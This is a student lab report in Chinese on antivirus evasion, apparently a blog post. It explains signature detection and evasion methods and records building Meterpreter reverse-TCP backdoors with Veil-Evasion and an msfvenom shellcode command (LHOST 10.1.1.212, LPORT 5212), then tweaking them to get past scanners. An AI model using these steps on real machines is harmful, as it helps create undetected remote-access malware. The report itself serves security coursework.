• 20145212 罗天晨 免杀原理与实践


    20145212 罗天晨 免杀原理与实践


    一、基础问题回答

    1.杀软是如何检测出恶意代码的?

    • (1)恶意代码有其特有的特征码,杀软将特征码加入检测库中,当检测到一段代码中具有这样的特征码时就可以判断为恶意代码。
    • (2)为了防止自身特征码被检测,有些恶意代码使用了免杀加壳软件进行加壳,一些流行的加壳软件已经可以检查出来,如果被这样的加壳软件加壳就可能是恶意代码。
    • (3)判断该代码是否有恶意行为,若有就会判断代码是恶意代码。

    2.免杀是做什么的?

    • 通过各种手段免除计算机对恶意代码查杀即为免杀。

    3.免杀的基本方法有哪些?

    • (1)通过改变自身特征码
      • 加壳(可以选择比较新的、冷门的壳,流行的已经可以被大多数杀毒软件查杀)
      • 进行异或、逆序或者其他手段改变自身特征码。
    • (2)通过改变软件攻击的行为
      • 在看似正常的应用中插入恶意代码,当程序运行时看似正常,可以逃过查杀。
      • 可以使用反弹端口技术,这样看上去就像是靶机在主动链接ip,大大减低被查杀的风险。
      • 使用隧道技术。

    二、实践总结与体会

    小时候看到我的杀软跳出红色界面报毒的时候感觉可安全了……现在才知道那时候有多天真,稍作修饰我们就可以自己制作一个免杀的恶意代码,只要植入靶机那很多东西都会一览无余。
    像在这次实验中,只是稍作修改,连我自己都可以做出骗过我所安装的360杀毒软件的病毒程序,可见其实我们的电脑及其不安全。
    另外我看了看其他同学的博客,有说其实在VirSCAN里显示的数据并不一定准确,有的病毒在VirSCAN中扫描未查杀,但是在本机电脑杀毒软件中就报毒了,可见及时的更新自己的杀毒软件,保持最新病毒库还是很重要的。


    三、离实战还缺些什么技术或步骤?

    • 1.如何将我们制作的后门程序传到靶机上
    • 2.如何让靶机运行这个看起来不知道有什么用途的程序…
    • 3.如何保证自己的主机ip地址不变,随时随地都可以进行攻击

    四、实践过程记录

    • 先对上周生成的木马程序进行检测:

    (一)改变特征码实现免杀

    • 进行编码之后再检查:

      可以看出并没有什么变化,因为编码器本身和其模板有属于自己的特征码,杀毒软件会检查出来。

    (二)Veil-Evasion

    • 老师给的kali机中带有这个软件,可以直接在命令行中输入veil-evasion打开
    • 在菜单中依次输入以下命令:
      use python/meterpreter/rev_tcp
      set LHOST + 本机ip地址
      generate
    • 之后输入生成的文件名称,选择1:
    • 传送到windows主机上贴到页面中进行扫描:可以看出比起之前的病毒,这个稍微难被查杀出来一些,但是还是可以判断是病毒

    (三)使用C语言调用的shellcode制作一个半手工的病毒

    • 在kali上输入以下命令生成一段码:
      msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.1.1.212 LPORT=5212 -f c

    • 之后就是把这段十六进制码贴到VS中,根据老师给出的模板编译生成文件。

    • 对生成的码进行一些小小的改变(不做多余赘述啦),然后将生成的文件放上virSCAN测试:


      两个报毒

    • 啊……对这个文件使用360云查杀:

    • 进行回连实测:试运行这个病毒,成功的执行如下

  • 相关阅读:
    C++ 容器元素的存储和获取
    【C++沉思录】代理类
    mysql 编码测试
    理解字符编码
    linux mount
    mysql delimiter
    mysql 求时间段平均值
    mysql Can't connect to local MySQL server through socket '/var/lib/mysql/mysql.sock' (2)
    PostgreSQL体系架构与内存结构
    PostgreSQL中的The Oversized-Attribute Storage Technique(TOAST:超大属性存储技术)
  • 原文地址:https://www.cnblogs.com/alovera/p/6587447.html
Copyright © 2020-2023  润新知